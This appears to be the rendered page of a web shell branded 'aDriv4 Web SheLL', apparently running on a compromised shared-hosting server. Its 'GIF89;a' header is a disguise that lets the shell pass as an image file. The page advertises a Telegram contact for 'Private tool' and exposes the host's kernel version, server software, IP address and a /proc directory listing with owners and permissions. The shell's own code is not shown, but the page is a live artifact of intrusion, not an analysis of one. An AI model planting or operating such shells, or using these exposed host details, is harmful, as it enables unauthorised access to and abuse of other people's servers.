GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium133.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 162.0.232.69
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-24 09:23:10
.. dir - root/root 0755 2025-08-05 06:44:59
2359536 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:56
2359581 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:56
3826440 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:27
3855003 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:05
3862488 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:05
3871591 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:56
3876344 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:56
3885721 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:57
3890010 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:56
3890012 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:56
3890194 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:56
3892104 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:57
3892133 dir - mboniqkj/mboniqkj 0555 2025-12-31 10:35:57
acpi dir - root/root 0555 2025-06-24 09:23:13
bus dir - root/root 0555 2025-06-24 09:23:22
driver dir - root/root 0555 2025-12-31 10:35:59
fs dir - root/root 0555 2025-06-24 09:23:22
irq dir - root/root 0555 2025-06-24 09:23:22
kcare dir - root/root 0555 2025-12-31 10:35:59
lve dir - root/root 0555 2025-12-31 10:35:56
net link - mboniqkj/mboniqkj 0555 2025-12-31 10:35:59
scsi dir - root/root 0555 2025-06-24 09:23:22
self link - mboniqkj/mboniqkj 0555 2025-12-31 10:35:05
sys dir - root/root 0555 2025-06-24 09:23:11
sysvipc dir - root/root 0555 2025-12-31 10:35:59
thread-self link - mboniqkj/mboniqkj 0555 2025-12-31 10:35:57
tty dir - root/root 0555 2025-12-31 10:35:59
buddyinfo 0 B root/root 0444 2025-12-31 10:35:59
cgroups 0 B root/root 0444 2025-12-31 10:35:59
cmdline text/plain 0 B root/root 0444 2025-12-31 10:35:59
consoles 0 B root/root 0444 2025-12-31 10:35:59
cpuinfo text/plain 0 B root/root 0444 2025-12-31 10:35:59
crypto 0 B root/root 0444 2025-12-31 10:35:59
devices 0 B root/root 0444 2025-12-31 10:35:59
diskstats 0 B root/root 0444 2025-12-31 10:35:59
dma 0 B root/root 0444 2025-12-31 10:35:59
execdomains 0 B root/root 0444 2025-12-31 10:35:59
fb 0 B root/root 0444 2025-12-31 10:35:59
filesystems text/plain 0 B root/root 0444 2025-12-31 10:34:37
interrupts 0 B root/root 0444 2025-12-31 10:35:59
iomem 0 B root/root 0444 2025-12-31 10:35:59
ioports 0 B root/root 0444 2025-12-31 10:35:59
kallsyms 0 B root/root 0444 2025-06-24 09:23:22
kcore 128 TB root/root 0400 2025-06-24 09:23:13
key-users 0 B root/root 0444 2025-12-31 10:35:59
keys 0 B root/root 0444 2025-12-31 10:35:59
kmsg 0 B root/root 0400 2025-12-31 10:35:59
kpagecgroup 0 B root/root 0400 2025-12-31 10:35:59
kpagecount 0 B root/root 0400 2025-12-31 10:35:59
kpageflags 0 B root/root 0400 2025-12-31 10:35:59
loadavg text/plain 0 B root/root 0444 2025-12-31 10:35:57
locks 0 B root/root 0444 2025-12-31 10:35:59
mdstat 0 B root/root 0444 2025-12-31 10:35:59
meminfo text/plain 0 B root/root 0444 2025-12-31 10:34:29
misc 0 B root/root 0444 2025-12-31 10:35:59
modules 0 B root/root 0444 2025-12-31 10:35:59
mounts text/plain 0 B mboniqkj/mboniqkj 0444 2025-12-31 10:35:59
mtrr 0 B root/root 0644 2025-06-24 09:23:22
pagetypeinfo 0 B root/root 0400 2025-12-31 10:35:59
partitions 0 B root/root 0444 2025-12-31 10:35:59
sched_debug 0 B root/root 0444 2025-12-31 10:35:59
schedstat 0 B root/root 0444 2025-12-31 10:35:59
slabinfo 0 B root/root 0400 2025-12-31 10:35:59
softirqs 0 B root/root 0444 2025-12-31 10:35:59
stat text/plain 0 B root/root 0444 2025-12-31 10:33:51
swaps 0 B root/root 0444 2025-06-24 09:23:11
sysrq-trigger 0 B root/root 0200 2025-06-24 09:23:22
timer_list 0 B root/root 0400 2025-12-31 10:35:59
uptime text/plain 0 B root/root 0444 2025-12-31 10:34:29
version text/plain 0 B root/root 0444 2025-12-31 10:35:59
vmallocinfo 0 B root/root 0400 2025-12-31 10:35:59
vmstat 0 B root/root 0444 2025-12-31 10:35:59
zoneinfo 0 B root/root 0444 2025-12-31 10:35:59
© aDriv4